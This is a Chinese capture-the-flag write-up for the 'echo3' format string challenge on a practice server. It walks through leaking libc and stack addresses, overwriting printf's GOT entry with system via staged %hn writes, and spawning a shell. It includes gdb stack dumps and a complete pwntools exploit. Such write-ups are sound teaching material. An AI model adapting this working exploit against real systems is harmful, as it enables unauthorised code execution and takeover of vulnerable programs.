echo3

保護很常規(guī),是32位的程序,還是格式化字符串漏洞,但是是存儲在bss上的格式化

主程序的alloca函數(shù)用來抬棧,而且每次是隨機的,所以爆破一下,當泄漏出地址的時候再進行下一步操作

while True:
    #p = process('./echo3',env = {"LD_PRELOAD": "../libc-2.23.so.i386"})
    p = remote('hackme.inndy.tw',7720)
    payload = '%55$p.%14$p'
    p.sendline(payload)
    data = p.recvuntil('.',drop = True)
    if data[-3:] == '637':
        break
    p.close()
__libc_start_main_ret = int(data,16)
stack_base = int(p.recvuntil('\n',drop = True),16) - 0x10
log.success('stack_base : 0x%x ' %stack_base)
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ad80
printf_got = 0x0804A014
libc_base = __libc_start_main_ret - offset___libc_start_main_ret
system_addr = libc_base + offset_system
log.success('system addr : 0x%x ' %system_addr)

然后將printf_got 改成system地址,由于每次最后改2字節(jié),這里的改寫很巧妙(跟M4x師傅學的操作很騷)

1.將棧上兩個指針指向棧地址

改寫前

這是調(diào)用printf函數(shù)前的棧結(jié)構(gòu),我們先將

0xffdd2028│+0x98: 0xffdd210c  →  0xffdd2fd0  →  "LD_PRELOAD=../libc-2.23.so.i386"
0xffdd202c│+0x9c: 0xffdd2104  →  0xffdd2fc8  →  "./echo3"
改寫成
0xffdd2028│+0x98: 0xffdd210c  →  0xffdd1fbc  →  0x080485d2  →  <hardfmt+12> add ebx, 0x1a2e
0xffdd202c│+0x9c: 0xffdd2104  →  0xffdd1fdc  →  0x0804877b  →  <main+236> mov eax, 0x0
改寫后

2.修改棧上指針為printf_got,printf_got+2

改寫前
0xffdd2104│+0x174: 0xffdd1fdc  →  0x0804877b  →  <main+236> mov eax, 0x0
...
0xffdd210c│+0x17c: 0xffdd1fbc  →  0x080485d2  →  <hardfmt+12> add ebx, 0x1a2e

改寫成printf_got,printf_got+2

0xffdd2104│+0x174: 0xffdd1fdc  →  0x0804a014  →  0xf7603590  →  <printf+0> call 0xf76d9bc9
...
0xffdd210c│+0x17c: 0xffdd1fbc  →  0x0804a016  →  0x8446f760
改寫后

3.最后修改printf_got,printf_got+2的指針為system&0xffff , (system >> 16 ) &0xffff

改寫前
0xfff7291c│+0x2c: 0x0804a016  →  0x8446f759
...
0xfff7293c│+0x4c: 0x0804a014  →  0xf759b590  →  <printf+0> call 0xf7671bc9

#printf_got,printf_got+2的指針改寫成system&0xffff , (system >> 16 ) &0xffff

0xfff7291c│+0x2c: 0x0804a016  →  0x8446f758
...
0xfff7293c│+0x4c: 0x0804a014  →  0xf758cd80  →  <system+0> sub esp, 0xc
改寫后

4.發(fā)送/bin/sh,printf('/bin/sh')即system('/bin/sh')

修改成功

可以看到printf_got地址已經(jīng)修改成system的地址

完整exp:

from pwn import *
import time
context.log_level = 'debug'

while True:
    #p = process('./echo3',env = {"LD_PRELOAD": "../libc-2.23.so.i386"})
    p = remote('hackme.inndy.tw',7720)
    payload = '%55$p.%14$p'
    p.sendline(payload)
    data = p.recvuntil('.',drop = True)
    if data[-3:] == '637':
        break
    p.close()

__libc_start_main_ret = int(data,16)
stack_base = int(p.recvuntil('\n',drop = True),16) - 0x10
log.success('stack_base : 0x%x ' %stack_base)
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ad80
printf_got = 0x0804A014
libc_base = __libc_start_main_ret - offset___libc_start_main_ret
system_addr = libc_base + offset_system
log.success('system addr : 0x%x ' %system_addr)

sleep(1)

payload = '%' + str( (stack_base + 0x2c) & 0xffff ) + 'c%38$hn'
payload += '%' + str( ((stack_base + 0x4c) & 0xffff) - ((stack_base + 0x2c) & 0xffff)) + 'c%39$hn'
p.sendline(payload)
sleep(1)
#gdb.attach(p)
payload = '%' + str( printf_got & 0xffff) + 'c%93$hn'
payload += '%' + str( ((printf_got+2) & 0xffff) - (printf_got & 0xffff) ) + 'c%95$hn'
p.sendline(payload)
sleep(2)

payload = '%' + str( system_addr & 0xffff ) + 'c%19$hn'
payload += '%' + str( ((system_addr >> 16) & 0xffff) - (system_addr & 0xffff) ) + 'c%11$hn'
#gdb.attach(p)
p.sendline(payload)

p.sendline('/bin/sh')
p.interactive()
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容